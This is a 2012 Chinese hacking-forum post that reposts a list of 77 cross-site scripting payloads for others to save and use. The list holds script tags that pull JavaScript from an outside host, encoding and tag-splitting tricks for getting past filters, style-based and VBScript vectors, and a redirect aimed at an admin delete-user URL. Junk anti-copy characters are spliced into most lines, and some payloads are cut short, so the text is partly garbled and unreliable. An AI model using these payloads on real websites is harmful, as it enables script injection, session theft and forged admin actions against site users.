找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3472|回复: 0
打印 上一主题 下一主题

xss跨站脚本攻击汇总

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 14:56:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。- \& r/ ?& q, q  T  s
( b; A7 ?, o& ~* B# X7 o/ Y
(1)普通的XSS JavaScript注入/ [& x- x  U' M. b7 e# i, m
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>3 [4 Q" e+ O" x& m8 K# T0 j1 i- ~' l

4 Y6 H; T% i; f( @$ K& m (2)IMG标签XSS使用JavaScript命令
5 [0 o, h6 a& Z0 Y% m <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>* O( T1 k9 [$ @) R* ]( k4 Q2 i4 @
( T! Y, O/ e" [# x
(3)IMG标签无分号无引号
/ e# e. H' m- x# h8 {# X0 o- j <IMG SRC=javascript:alert(‘XSS’)>
& w1 N2 I& l4 r" N, x: T; p5 F
! @0 R% n8 ^9 T/ r" p8 a (4)IMG标签大小写不敏感5 K6 G# B: ~5 h/ E
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
) v0 }2 M$ `# \9 G4 r% @& |+ t) `' |
(5)HTML编码(必须有分号)
! k% z' }- g4 _, [8 J% T2 L4 A8 h <IMG SRC=javascript:alert(“XSS”)>1 s  E' q) ]) A9 s5 ^

( |. a  ]4 P# r1 J/ k. y7 O; |" a5 y (6)修正缺陷IMG标签
& V2 u/ {& e5 j' U$ n$ r <IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
$ [: I: f* {, v8 y& s% N* |/ f% L; w/ R
(7)formCharCode标签(计算器)
  Z! r5 ]1 `8 A  _: v9 x4 r3 w <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
4 \- ~8 F; Z5 Z! e6 W1 f
5 b' I* y' U  B; P( F (8)UTF-8的Unicode编码(计算器)! p8 y! N+ C7 z5 `  Y8 {% l3 ^
<IMG SRC=jav..省略..S')>; N0 [. F0 q9 V1 _# U6 \
, t; Z+ `4 t! L/ J, v, C! e7 E5 E
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
4 r+ @& M$ B2 F3 M <IMG SRC=jav..省略..S')>
# {9 s; t  J0 }6 b; K* E: f6 E# {  l+ Z- y* L9 G5 T
(10)十六进制编码也是没有分号(计算器)5 D9 J# u  j6 F0 a
<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>  K0 i& i6 r- ^8 y  F' K; X
! I8 }" f9 B4 P; D6 J9 O
(11)嵌入式标签,将Javascript分开3 Q' y- B0 [# r7 }1 x; _1 i
<IMG SRC=”jav ascript:alert(‘XSS’);”>) e9 u1 V, f6 U
, ]7 i7 ]$ M( v' U; n
(12)嵌入式编码标签,将Javascript分开
- q- ^' \# H- a <IMG SRC=”jav ascript:alert(‘XSS’);”>3 v  b( Z1 d1 |, p5 ~( g

6 C8 x1 s. \' p% Y( M5 U. M* i( z  f (13)嵌入式换行符) Y; s- ]& J9 M9 ]$ t& M  }
<IMG SRC=”jav ascript:alert(‘XSS’);”>
0 E$ C$ M6 ?. m: f8 a! U
% X* n; \3 r; S0 m: J; ?# G (14)嵌入式回车
4 E2 P3 e" q+ Q8 A/ o# x, r4 m* \' F5 j <IMG SRC=”jav ascript:alert(‘XSS’);”># t& ?7 {# G1 a6 h) P: w
$ _0 X6 I0 P% W1 h
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
+ T! F7 a& d; `; Z& O1 s; a <IMG SRC=”javascript:alert(‘XSS‘)”>7 j3 U' K& O* }0 J$ h
/ m( ?! @3 @% A9 j1 x/ z
(16)解决限制字符(要求同页面)2 R; {; U) q- k0 G. U
<script>z=’document.’</script>
( ]* ~# d# s9 i2 r  S <script>z=z+’write(“‘</script>1 D  l' {  U, _# O1 L' `; C
<script>z=z+’<script’</script>
( M, U9 L, I# p6 a2 N. V+ ] <script>z=z+’ src=ht’</script>6 P  d0 [3 l& Z
<script>z=z+’tp://ww’</script>+ k) {! M# R7 x
<script>z=z+’w.shell’</script>
0 I5 R' ?' u6 ?6 ]" Y4 ^4 y <script>z=z+’.net/1.’</script>
3 y! j" E3 z8 [7 Y4 S; |" ] <script>z=z+’js></sc’</script>- B* E" N# I0 N* M
<script>z=z+’ript>”)’</script>8 }: C3 {: B! ~0 h  L+ T) C8 j9 u* y# C
<script>eval_r(z)</script>5 Z! n+ V" f6 c  y) S+ Y

& p/ f% k2 ?, _9 Z (17)空字符$ V& H' D" B" [8 {
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
+ H  L& @; y, X, S2 o1 ]3 P4 J; L' x8 [0 Z+ T
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
6 }1 I8 p* _, Q- h+ B perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out- D7 y' e* F  ?$ N& J& g8 S
! f' J* A0 I+ O9 s6 T7 C9 f
(19)Spaces和meta前的IMG标签; U" K# I) {/ Z- P, A+ _
<IMG SRC=”   javascript:alert(‘XSS’);”>
! B$ t' z  k  }- G4 M9 p: K0 Z; V4 O) ?! Y" u1 w
(20)Non-alpha-non-digit XSS
7 W/ U1 H& K2 H3 e <SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>2 t7 }2 y. r0 z1 L+ u7 \2 _

: A) k& g( X6 ]$ S5 x (21)Non-alpha-non-digit XSS to 2
) X9 Q( L! d. W% @. V2 V+ M5 L <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
: n, V0 [7 c* u) q; z6 P
' ]. b& E* Z+ q) U (22)Non-alpha-non-digit XSS to 3" q9 T% A. d5 U3 n* d" k! p+ X, f
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>1 C; \' q+ P9 G; ^7 `. v: R% t

! @1 ?' A" H: O; w7 } (23)双开括号/ j& L4 Z  p2 B
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
$ H& o' _  @/ w' Z4 Q( U" z* m, g; h* G. F) l4 U( }  M
(24)无结束脚本标记(仅火狐等浏览器)
$ J/ _8 [% E0 R8 M5 z' ` <SCRIPT SRC=http://3w.org/XSS/xss.js?<B>4 i. Q$ ^; \" T/ @* z& N

. ?+ H- g1 v6 d1 p (25)无结束脚本标记2
, n0 g# J, f9 V8 n7 m <SCRIPT SRC=//3w.org/XSS/xss.js>; v% e9 ^/ T$ d: w
5 F; n# ?: Q2 a& B- k
(26)半开的HTML/JavaScript XSS
1 j2 z6 D, F/ S* H <IMG SRC=”javascript:alert(‘XSS’)”
! [, {. g0 @# c! m4 N
8 a) F) g( C) X3 ?: ` (27)双开角括号
( t: H( X# c; \( x6 A6 c: I" o* F <iframe src=http://3w.org/XSS.html </ V8 Y* _! |2 w# U

& Y! h* J' p/ H) L7 v1 y/ [! F (28)无单引号 双引号 分号  i8 ~3 a) I" u
<SCRIPT>a=/XSS/
- p) _) z3 _" i/ c. ] alert(a.source)</SCRIPT>4 L& P. c6 l. l5 h5 d9 D/ E

0 j/ }& _) c) g: n (29)换码过滤的JavaScript
9 S8 c" G. W% ~( v" T, S$ S  C7 h \”;alert(‘XSS’);//$ a- L* F, K/ g. r% H6 [

! G' m$ n; c! C8 D (30)结束Title标签( k8 m/ D: N1 v  L0 C, H
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
8 L$ B, V1 j# M; R8 M
. r, ]: O3 f6 ?3 {* o. e (31)Input Image
, z; I. C3 ^1 Y; |( b* Z/ P <INPUT SRC=”javascript:alert(‘XSS’);”>% {7 o$ c" m0 B6 {6 x# T" j( [0 O, a
, A, M9 |. G! T1 h2 Y8 x" G
(32)BODY Image
+ I  d) V  ?2 m& K8 e/ L4 m( c% w <BODY BACKGROUND=”javascript:alert(‘XSS’)”>
5 _; |: _$ S1 e2 r: @& w( G6 b/ n; N  F4 ]3 U% z
(33)BODY标签% n. E# ?) w  M2 [) ^
<BODY(‘XSS’)>
2 ]0 q- {/ f+ F2 p, \5 H: J! f$ [4 D8 O4 P( x5 o9 i! d
(34)IMG Dynsrc3 W. S+ z! Q# P0 q/ w
<IMG DYNSRC=”javascript:alert(‘XSS’)”>" D; `0 k# }# N) y8 q  |
0 G! E7 \( A0 v( O* b
(35)IMG Lowsrc
3 G/ \1 ?& S! @0 p0 \8 N- f% l <IMG LOWSRC=”javascript:alert(‘XSS’)”>
. F1 Z, u1 i; M7 J2 M6 v
( M# m# s( [( B7 [7 v6 m (36)BGSOUND+ h. L! P+ _: X) k  ?0 r& S; w
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
/ S. `3 ?. [7 r
# J# f0 d$ m, o3 j, t (37)STYLE sheet
9 Y+ N2 `, Z( O+ C' i <LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>* r: Y# f! y- J2 F% @0 ~- l# e9 b

# P4 {- |/ A, s& g5 }  S4 j* @ (38)远程样式表
) X0 W  h. Q2 g  _1 | <LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
+ Q7 S) b) H  T4 \. `! j2 K
" |& {; d, Z* y" ?$ y7 U+ A0 D (39)List-style-image(列表式)
1 w: O9 z5 ]8 @8 M, y! { <STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
; _( r. x- m7 H; o8 q0 Z/ ]  A8 L0 o2 V5 U* W+ M! Z: F
(40)IMG VBscript
) b# M( m1 A* {$ T/ `+ N& m  D0 v <IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS+ o; y4 Y7 N; i0 P$ B
2 U: f. k( k% X3 Y- G
(41)META链接url
4 m7 c) Y1 \( u, T <META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
" {/ z8 r( \0 `1 H+ N. B  p7 \# }! }; B' A5 n
(42)Iframe3 T; r0 p$ ]8 l( x/ y* W/ V
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>, ?: @3 x7 P; E; P; Y' K' l
' \  @- e) g- j& K+ L4 ]$ ^
(43)Frame
7 k: h) B/ y! b9 o5 L8 x <FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>: A1 a( [2 {8 _

3 `: `: F; L8 u. z (44)Table% I* |5 u  I' }4 j
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
# y+ w9 `, Y4 x5 k
* w" w# }5 s% H, e# Z+ e (45)TD
9 F. ?- r  E( G! o" |( v; C) F7 _ <TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
5 q) H% ~/ E! V. P( {  ?3 G& r0 `( k% J' I% D: C( z$ G% H- t4 Y% M2 Y1 h
(46)DIV background-image, K2 T6 ?& V( q' e5 M
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>6 x8 ~/ K- j  y' |
+ |$ a; o7 X0 ~! {$ S% p0 |# S# _
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
3 Y2 e- c  y: o6 r# Z7 K) { <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
' \- A! @. B& V) E! ~3 |+ C& f" _
(48)DIV expression
, Y. {; l+ r: R4 x0 S; v <DIV STYLE=”width: expression_r(alert(‘XSS’));”>& \5 `5 |/ h; C& Z3 u6 J; J7 E4 h" _
( a5 V3 ]. Y! `: O1 m
(49)STYLE属性分拆表达8 \4 ?( `( l9 B
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
* l2 @/ e! O! H  i1 G6 D/ I( e8 Y3 |2 ~) |( N- k, U- }  x
(50)匿名STYLE(组成:开角号和一个字母开头)+ Q5 M# X. E) n8 F, E- Y
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
+ l/ O2 ~, k* p/ E8 K2 Q* j' e; t  ?) l& b
(51)STYLE background-image
) {( g3 q; D# f; k3 S! p! N  |, x <STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
3 Y' E5 E7 U4 X3 w" D$ Y2 h8 w4 T. w
(52)IMG STYLE方式& R5 j! X! r0 e) J9 I/ G
exppression(alert(“XSS”))’>, t; x) n0 P6 A8 u, ^
3 Q- H! l% q; p0 h$ a( r; {+ g
(53)STYLE background/ A% B2 D/ L% v1 m
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>7 t7 V# o7 d  L& {+ A
$ R2 j( V1 [8 i7 q% ]
(54)BASE
+ f2 c/ {; h  H$ Q$ b2 ~ <BASE HREF=”javascript:alert(‘XSS’);//”>* G2 W% ~6 _  Z: \8 o  M" L
$ t  l$ w. Y8 K% Z5 t5 I' f! v
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS6 w& Y/ L, ^6 e" w/ ~
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
7 a6 v1 q; n2 g4 \* l  U. z1 k" }  P" u
(56)在flash中使用ActionScrpt可以混进你XSS的代码
7 P  a& u- H: N7 c1 h% E a=”get”;8 n' V: Y8 K, N4 u! Y
b=”URL(\”";
' [# k: m9 N8 z, c5 t  }( H c=”javascript:”;* H3 R/ @1 ?- _9 y/ G2 u3 ^
d=”alert(‘XSS’);\”)”;$ [& J& U0 N* t% w* K1 z+ o
eval_r(a+b+c+d);
" l$ O) }: E$ T' r4 k) t9 V* |" n3 `; J6 M& Z' ~
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
4 l2 p+ K% b$ M! k <HTML xmlns:xss># r: ], u1 A4 h: p
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
; `* D2 {! F& C) I6 X8 L <xss:xss>XSS</xss:xss>! f& f+ R! f' }# I2 B9 @
</HTML>
6 s: K( m% [5 A# n! U, f' s- u' s: R, s' X
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
8 u: R9 Y6 W, d# I4 L8 \3 p <SCRIPT SRC=””></SCRIPT>/ f$ @' n" N/ c  x( O4 O7 V

+ r) r% B! M  D/ o' I (59)IMG嵌入式命令,可执行任意命令8 y5 ~0 j  f4 v
<IMG SRC=”http://www.XXX.com/a.php?a=b”>* m& F3 o6 R) e" h

5 p  V  ]& E2 l. {* _' M/ g3 G3 X (60)IMG嵌入式命令(a.jpg在同服务器)
+ S5 n0 G; O- _  ~- @ Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser7 E* J0 h2 J0 U0 {1 r) i+ G3 Q
3 Y3 B: d" i% N* q( ~9 t% h
(61)绕符号过滤+ g7 W+ X1 E5 w6 B1 B
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>2 K7 _! j$ v3 n) S

, _# b" i/ N) o6 ], Y- T (62)
+ \+ o% P1 B' a: \  @4 _ <SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>: j4 U, `: W; C: A7 ^

% t7 V! e- w# ?5 U( O (63)- Z4 B/ F7 s: b: W6 f, Q3 B% Q; C, }
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
: S# Z! g8 @% I' y" P2 `- b
8 L* F) ]* u; j) |0 k' R' ` (64)
; \9 j4 {8 ^4 S# l5 A+ T- K# Q <SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>* m% o, f8 z; B0 Z* @

4 L; ?6 w) R9 K& r3 E& B  s( I: ^/ U! J (65); @, t1 o$ t9 U# F) b' [
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
5 I3 ?0 C; K8 A" v8 |! A" O3 b: u8 o  j; R& S
(66)
/ W2 d) R1 @' z3 O  v <SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>- q' h# e! X* y, _

5 Z, j& |$ _) U% W' B (67)
) g: f1 g; Q0 s3 X7 N <SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>
: F/ Q; V7 o% v, L" x" E/ J* A7 n3 u; N- D
(68)URL绕行
5 F3 Q3 |  b) I8 I7 r <A HREF=”http://127.0.0.1/”>XSS</A>
) u1 r6 f, Y) ?: x, |+ }/ t# Q8 [, A" a8 l5 i, o% Y; @4 Q
(69)URL编码
/ L9 Z( s0 ?" d: h, ` <A HREF=”http://3w.org”>XSS</A>
8 X& S* f* W4 g9 m# f' K: j5 V4 r% U  ]1 v! D/ m) L* }8 }
(70)IP十进制
& W$ q  ~2 ^0 f+ `; G5 W <A HREF=”http://3232235521″>XSS</A>
) y. b! B1 F0 ], |1 b* o
2 l' m6 S2 @* @! G. t* x1 k (71)IP十六进制
0 b% X3 ~) D! T/ K5 N <A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>5 u5 K6 @8 F" l: `  E

0 `, K3 g1 U% L6 v) w( R (72)IP八进制
+ m/ @4 k0 n1 | <A HREF=”http://0300.0250.0000.0001″>XSS</A>& V+ ]8 Z( h2 `9 A) T7 G2 `8 D
* Q9 }6 T' w2 l+ a, T' T+ u+ B9 [
(73)混合编码1 \* X$ l9 D$ j* r- L' Z2 n& L
<A HREF=”h5 y4 C+ E7 m! c8 ^0 _) B" d$ v
tt p://6 6.000146.0×7.147/”">XSS</A>
8 n9 t8 G) n$ H- l2 j: ]: Z
9 {/ f% _9 G7 {* ?6 r+ Q$ ? (74)节省[http:]
* i1 b) k: M4 Y/ i' J <A HREF=”//www.google.com/”>XSS</A>" G! Z" |" y- `- d% f' {

& u' ]$ B3 J1 N; ^, {" n (75)节省[www]6 M, K( `9 a! A" L
<A HREF=”http://google.com/”>XSS</A>/ P3 r3 F; C2 w+ L' v+ K

# Y/ S$ N1 @! v (76)绝对点绝对DNS- u% ~" _0 H$ T2 k) Z
<A HREF=”http://www.google.com./”>XSS</A>
" D1 w; s; r) Y1 g. X- i0 k- S  v( t* _0 K2 Q7 g' X
(77)javascript链接, V* w" L3 W; ^) Z; ~1 D$ Y0 j  p& G
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表